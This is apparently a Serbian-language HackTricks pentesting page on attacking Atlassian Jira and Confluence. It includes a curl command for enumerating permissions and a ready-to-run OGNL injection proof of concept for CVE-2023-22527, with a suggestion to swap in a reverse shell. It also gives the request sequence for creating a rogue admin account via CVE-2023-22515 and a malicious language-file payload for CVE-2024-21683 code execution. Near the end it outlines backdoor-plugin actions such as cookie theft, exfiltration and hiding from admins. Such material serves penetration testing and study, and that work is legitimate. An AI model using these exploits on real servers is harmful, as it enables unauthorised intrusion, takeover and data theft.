Jira & Confluence
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Provera privilegija
U Jira-i, privilegije se mogu proveriti od strane bilo kog korisnika, bilo da je autentifikovan ili ne, putem endpoint-ova /rest/api/2/mypermissions ili /rest/api/3/mypermissions. Ovi endpoint-ovi otkrivaju trenutne privilegije korisnika. Posebno je zabrinjavajuće kada neautentifikovani korisnici imaju privilegije, što ukazuje na bezbednosni propust koji bi potencijalno mogao biti podoban za bounty. Slično, neočekivane privilegije za autentifikovane korisnike takođe ukazuju na propust.
Važna izmena je uvedena 1. februara 2019., koja zahteva da ‘mypermissions’ endpoint uključuje ‘permission’ parameter. Ovaj zahtev ima za cilj da poboljša bezbednost tako što precizira privilegije koje se proveravaju: check it here
- ADD_COMMENTS
- ADMINISTER
- ADMINISTER_PROJECTS
- ASSIGNABLE_USER
- ASSIGN_ISSUES
- BROWSE_PROJECTS
- BULK_CHANGE
- CLOSE_ISSUES
- CREATE_ATTACHMENTS
- CREATE_ISSUES
- CREATE_PROJECT
- CREATE_SHARED_OBJECTS
- DELETE_ALL_ATTACHMENTS
- DELETE_ALL_COMMENTS
- DELETE_ALL_WORKLOGS
- DELETE_ISSUES
- DELETE_OWN_ATTACHMENTS
- DELETE_OWN_COMMENTS
- DELETE_OWN_WORKLOGS
- EDIT_ALL_COMMENTS
- EDIT_ALL_WORKLOGS
- EDIT_ISSUES
- EDIT_OWN_COMMENTS
- EDIT_OWN_WORKLOGS
- LINK_ISSUES
- MANAGE_GROUP_FILTER_SUBSCRIPTIONS
- MANAGE_SPRINTS_PERMISSION
- MANAGE_WATCHERS
- MODIFY_REPORTER
- MOVE_ISSUES
- RESOLVE_ISSUES
- SCHEDULE_ISSUES
- SET_ISSUE_SECURITY
- SYSTEM_ADMIN
- TRANSITION_ISSUES
- USER_PICKER
- VIEW_AGGREGATED_DATA
- VIEW_DEV_TOOLS
- VIEW_READONLY_WORKFLOW
- VIEW_VOTERS_AND_WATCHERS
- WORK_ON_ISSUES
Primer: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS
#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
Automatizovana enumeracija
Nedavni RCE-i i praktične beleške o exploitima (Confluence)
CVE-2023-22527 – neautentifikovana šablon/OGNL injekcija (10.0)
- Pogađa Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5. Ranljiv Velocity šablon
text-inline.vmomogućava OGNL evaluaciju bez autentifikacije. - Brzi PoC (komanda se izvršava kao confluence korisnik):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
- Zaglavlje odgovora
x-cmdće sadržati izlaz komande. Zameniteidsa reverse shell payload-om. - Skener: nuclei template
http/cves/2023/CVE-2023-22527.yaml(dostupan u nuclei-templates ≥9.7.5).
CVE-2023-22515 – reaktivacija setup-a i kreiranje admin naloga (zaobilaženje autentikacije)
- Javnosti dostupni Confluence Data Center/Server 8.0.0–8.5.1 dozvoljavaju promenu
setupCompletei ponovno pokretanje/setup/setupadministrator.actionradi kreiranja novog administratorskog naloga. - Minimalan tok exploita:
GET /server-info.action(neautentifikovan) da se proveri dostupnost.POST /server-info.actionsabuildNumberparametrima da se prebaci setup zastavica.POST /setup/setupadministrator.actionsafullName,email,username,password,confirmda se kreira administratorski nalog.
CVE-2024-21683 – autentifikovani RCE putem Code Macro upload-a
- Confluence Admin može otpremiti crafted language definition u Configure Code Macro; Rhino engine izvršava ugrađeni Java kod, što vodi do RCE.
- Za shell, otpremite
.langfajl koji sadrži payload kao:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
- Pokreće se izborom malicioznog jezika u okviru bilo kojeg Code Macro tela. Metasploit module
exploit/multi/http/atlassian_confluence_rce_cve_2024_21683automatizuje auth + upload + exec.
Atlasian Plugins
Kao što je naznačeno u ovom blog, u dokumentaciji o Plugin modules ↗ moguće je pregledati različite tipove plugina, kao:
- REST Plugin Module ↗: Izlaže RESTful API krajnje tačke
- Servlet Plugin Module ↗: Raspoređuje Java servlete kao deo plugina
- Macro Plugin Module ↗: Implementira Confluence Macros, tj. parametrizovane HTML šablone
Ovo je primer Macro plugin tipa:
Primer Macro plugina
```java package com.atlassian.tutorial.macro;import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;
import java.util.Map;
public class helloworld implements Macro {
public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“
Hello “ + map.get(“Name”) + “!
”); } else { return “Hello World!
”;
}
}
public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; } }
</details>
Moguće je primetiti da ovi plugin-i mogu biti ranjivi na uobičajene web ranjivosti kao što je XSS. Na primer, prethodni primer je ranjiv zato što reflektuje podatke koje unese korisnik.
Kada se nađe XSS, u [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) možete pronaći neke payloads koji povećavaju uticaj XSS-a.
## Backdoor Plugin
[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) opisuje različite (maliciozne) akcije koje maliciozni Jira plugin može izvršiti. Možete pronaći [**code example in this repo**](https://github.com/cyllective/malfluence).
Ovo su neke od akcija koje maliciozni plugin može izvršiti:
- **Sakrivanje dodataka od admina**: Moguće je sakriti maliciozni plugin ubacivanjem front-end javascript-a
- **Eksfiltracija priloga i stranica**: Omogućava pristup i eksfiltraciju svih podataka.
- **Krađa session tokena**: Dodati endpoint koji će echo-ovati header-e u odgovoru (sa cookie) i neki javascript koji će ga kontaktirati i leak the cookies.
- **Izvršavanje komandi**: Naravno, moguće je kreirati plugin koji će izvršavati kod.
- **Reverse Shell**: Ili dobiti reverse shell.
- **DOM Proxying**: Ako je confluence unutar privatne mreže, bilo bi moguće uspostaviti konekciju preko browser-a nekog korisnika koji ima pristup njoj i, na primer, kontaktirati server izvršavajući komande preko njega.
## References
- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> Učite i vežbajte AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Učite i vežbajte GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Učite i vežbajte Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Podržite HackTricks</summary>
>
> - Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
> - **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
>
> </details>


